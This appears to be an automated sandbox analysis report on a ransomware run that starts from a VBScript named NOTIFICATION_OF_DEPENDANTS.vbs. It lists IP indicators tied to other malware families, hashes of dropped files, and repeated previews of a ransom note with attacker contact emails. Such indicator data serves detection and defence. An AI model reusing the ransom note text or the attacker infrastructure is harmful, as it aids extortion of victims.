                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        TD2HjoogPx.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                        MIT-GATEWAYSUSarm.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                        • 18.58.126.71
                                                                                                                                                        arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                        • 19.125.212.58
                                                                                                                                                        arm5.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                        • 18.25.146.210
                                                                                                                                                        sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                        • 18.13.111.78
                                                                                                                                                        mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                        • 18.43.36.150
                                                                                                                                                        nshkppc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                        • 18.114.62.61
                                                                                                                                                        nshkarm7.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                        • 18.40.47.184
                                                                                                                                                        sh4.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                        • 19.244.163.57
                                                                                                                                                        nshppc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                        • 18.19.210.91
                                                                                                                                                        star.ppc.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                        • 19.133.220.71
                                                                                                                                                        TELE-ASTeleAsiaLimitedHKNOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        TD2HjoogPx.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        R7bv9d6gTH.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 103.253.43.248
                                                                                                                                                        http://9089357365.com/Get hashmaliciousPhisherBrowse
                                                                                                                                                        • 45.125.65.213
                                                                                                                                                        UBONg7lmVR.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.66.18
                                                                                                                                                        UBONg7lmVR.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.66.18
                                                                                                                                                        1feP5qTCl0.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.66.18
                                                                                                                                                        V6ZsDcgx4N.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.66.18
                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                        3b5074b1b5d032e5620f69f9f700ff0eHLMJbase.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        HLMJbase.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        swift-bootstrapper.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        Rechnung736258.pdf.lnkGet hashmaliciousLummaCBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        Company Information.pdf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                        • 45.125.67.168
                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                        C:\Users\user\AppData\Local\Temp\fjeljies.cplNOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                          NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                            NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                              C:\Users\user\AppData\Local\Temp\eryy65ty.exeNOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1310720
                                                                                                                                                                Entropy (8bit):0.7294347315713366
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqN:2JIB/wUKUKQncEmYRTwh0TfLp+y
                                                                                                                                                                MD5:B8190C4CF4422642A2EAF2A91F0B529A
                                                                                                                                                                SHA1:022C55E7B0651701373E83A4623C795C9F6B6DD3
                                                                                                                                                                SHA-256:06AE815CBF9710D57712A8DB9560CEA83EEC1EFAC4B8EDE80DB053ABA61A4582
                                                                                                                                                                SHA-512:E1E952872ECE99B892F63A37752B2374EB08C593CA2E052D03357D009DB5D5EBF1FB1541327A071F237F58AF7BD30A086BD38F3216282D65B371D56FD1685E1F
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................
                                                                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                File Type:Extensible storage engine DataBase, version 0x620, checksum 0x26d1c33e, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1310720
                                                                                                                                                                Entropy (8bit):0.7900311472316156
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
                                                                                                                                                                MD5:26A2AE189E510099A743E6351435E60C
                                                                                                                                                                SHA1:1140A42495DEF8C68CE38336FDC35BED31FE51B7
                                                                                                                                                                SHA-256:AEADDB721DD1BD17B03E269FE1C449A48FC6B1A2C594730ECDA6FEF09068B943
                                                                                                                                                                SHA-512:80E178BC28D5C75E53F79517F53349D0D00BB8E245502134C5A1B97857B3FA4C37EED27CFD94C9335577CCC80440F0371C318D23759493FCE8C4A6592DD55D73
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:&..>... ...............X\...;...{......................0.`.....42...{5......|..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................5Y.....|....................dp.....|...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):16384
                                                                                                                                                                Entropy (8bit):0.08227104821733172
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:UdYeBQxzeqt/57Dek3JxA/lillEqW3l/TjzzQ/t:MzB+zPR3txAImd8/
                                                                                                                                                                MD5:470FB134F8543FC974E31458F9D237FB
                                                                                                                                                                SHA1:30B397014566ECFB41DDEF98C5E8083325FF71ED
                                                                                                                                                                SHA-256:A2A1FD4182ACB0FA6FD0ECE59F1F59610129E0B235F652B5CA39B760732AB393
                                                                                                                                                                SHA-512:B4FED19FBF897CE1446716226932DDCE369E788603E5F19EBE317D9F1DD9C044A4AA54ABF87FD54649760646989F7C1E50ABF3F808912B50E6E33F8C6322E87E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..[......................................;...{.......|..42...{5.........42...{5.42...{5...Y.42...{59..................dp.....|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:modified
                                                                                                                                                                Size (bytes):1265
                                                                                                                                                                Entropy (8bit):7.834984209685104
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:BW1eSZ2ablMQpFrlomI/hosfIy3ijxlUnYV+tEcH9L5hdVZJvNu9y:BW1h4abSQpFrlI/hLf/6/Ua+tEcdL1hJ
                                                                                                                                                                MD5:10E6A4265BBAD2F14B5520AA596EDA97
                                                                                                                                                                SHA1:5C597349C70213580E24BD872D7BFD5F8C877CBA
                                                                                                                                                                SHA-256:2401940780467A6CF7E2ADC815D2DCEAE3DF51E3567A5D1133279420EDEA1425
                                                                                                                                                                SHA-512:5F39BAC3F750225F7EF615CB673FD4E78158C61020306938FDD8E437E5FC04D1B0729E1D5BF409F5D80BB4B2579DAC381C117F3F571F900D55E1B7650A9D98FC
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..qF.i.j....j_.C..Xk2..lSaF.0.,b.c5..Cw.et_.U).,.z.......>;.d.Oiy..R..`....mW.w..bm...@I`q#.|...;...{.o.'.+.6W.-.|{[.b?p..u.i....x.q...#:^.B.1v.&...u_..T......D...%.w2.-....c.,+.....;.,2....u.Z0._a.1.+G.BI....m..b......W.bJ.Q.|.!..|.+...:....`V"..Y..?.n...L...#....X....h...K.W....+..3...b1y*v..Z.F./.c.....5......H.T..*..STUzc+.F5P..!r..........}...^....I.\..^'.L.T...4.m.Iq..D.f..=.l......-..2...:..i.<.=8...._.....hd...Gp......-.W...:.QJM.z...-.u..EX.#...c...d......."-)n c..."0.......y.<.P....3L.@.......S[..J.M.$.I....+.p.?.4..WdO...c.?}O....Uf5.j-.D.....M......y..(.N..a.HSI...o(.t.....2qlB^4\v ....)..k.Z4}...dFT..t....\u..W.[3.cO.e.^r]..5....~pzSE...U.DA...Y....m....n....I..d9.Dk.....;+{&..c....C$2............ .....2H...Lx..z...D......oYB...$..]..7.,.gs.zl.Q...u.U.U...q...Y.La.JM....|.J....~..\...S`x.]w..=.....V..1...y.".2eGm..9o..*.v.M.c|..~..<...no.b....8]....N.e..6.D4 Z...kd....i.G.E.v\.$d..{.. K...T.....9T.S..S...??..._..3.tion>..$
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1265
                                                                                                                                                                Entropy (8bit):7.834984209685104
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:BW1eSZ2ablMQpFrlomI/hosfIy3ijxlUnYV+tEcH9L5hdVZJvNu9y:BW1h4abSQpFrlI/hLf/6/Ua+tEcdL1hJ
                                                                                                                                                                MD5:10E6A4265BBAD2F14B5520AA596EDA97
                                                                                                                                                                SHA1:5C597349C70213580E24BD872D7BFD5F8C877CBA
                                                                                                                                                                SHA-256:2401940780467A6CF7E2ADC815D2DCEAE3DF51E3567A5D1133279420EDEA1425
                                                                                                                                                                SHA-512:5F39BAC3F750225F7EF615CB673FD4E78158C61020306938FDD8E437E5FC04D1B0729E1D5BF409F5D80BB4B2579DAC381C117F3F571F900D55E1B7650A9D98FC
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..qF.i.j....j_.C..Xk2..lSaF.0.,b.c5..Cw.et_.U).,.z.......>;.d.Oiy..R..`....mW.w..bm...@I`q#.|...;...{.o.'.+.6W.-.|{[.b?p..u.i....x.q...#:^.B.1v.&...u_..T......D...%.w2.-....c.,+.....;.,2....u.Z0._a.1.+G.BI....m..b......W.bJ.Q.|.!..|.+...:....`V"..Y..?.n...L...#....X....h...K.W....+..3...b1y*v..Z.F./.c.....5......H.T..*..STUzc+.F5P..!r..........}...^....I.\..^'.L.T...4.m.Iq..D.f..=.l......-..2...:..i.<.=8...._.....hd...Gp......-.W...:.QJM.z...-.u..EX.#...c...d......."-)n c..."0.......y.<.P....3L.@.......S[..J.M.$.I....+.p.?.4..WdO...c.?}O....Uf5.j-.D.....M......y..(.N..a.HSI...o(.t.....2qlB^4\v ....)..k.Z4}...dFT..t....\u..W.[3.cO.e.^r]..5....~pzSE...U.DA...Y....m....n....I..d9.Dk.....;+{&..c....C$2............ .....2H...Lx..z...D......oYB...$..]..7.,.gs.zl.Q...u.U.U...q...Y.La.JM....|.J....~..\...S`x.]w..=.....V..1...y.".2eGm..9o..*.v.M.c|..~..<...no.b....8]....N.e..6.D4 Z...kd....i.G.E.v\.$d..{.. K...T.....9T.S..S...??..._..3.tion>..$
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.277571831328853
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:OfWlPB7rp9OO1kNJG/1LWUpUv5bNtXTusxrzUJ9Ohjh92n:OMp9hW+/1R6vZNFTuwthAn
                                                                                                                                                                MD5:FB77779D45EC65F2466D913C7D4F31D1
                                                                                                                                                                SHA1:663EEB8BB1E352F88821DCC38180AC0767CEF9EA
                                                                                                                                                                SHA-256:2490C1C7288CD6ED152D8D77BB1461D132DC5DA7C084954A2228E0A75D231963
                                                                                                                                                                SHA-512:4230846C13DB849D1F30EB8442BAB1E9CDD9DF549FA75C2160B8FF579D47FED238A2C468A843C1EEBF42E5D6D0A3BD249644B8B70842D376EAA35E59D1BD131C
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.....0..\..d!............Q.7..J...t..Q.'s{..n.Z$R.....I...E..\.....2P......w.d.8!.k.s">.n.D9..P....&..L.V.l......;..O.y.!.. Jxl.i{Ny..Md...E...I.[...l2.......,U...5...e/.l.b.["...~c.{.(-e..R..].v.....-Y...^.......*.N$.....d...aeoR'..V+... ..R\..}N.t6...5...3.b..]^.%.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
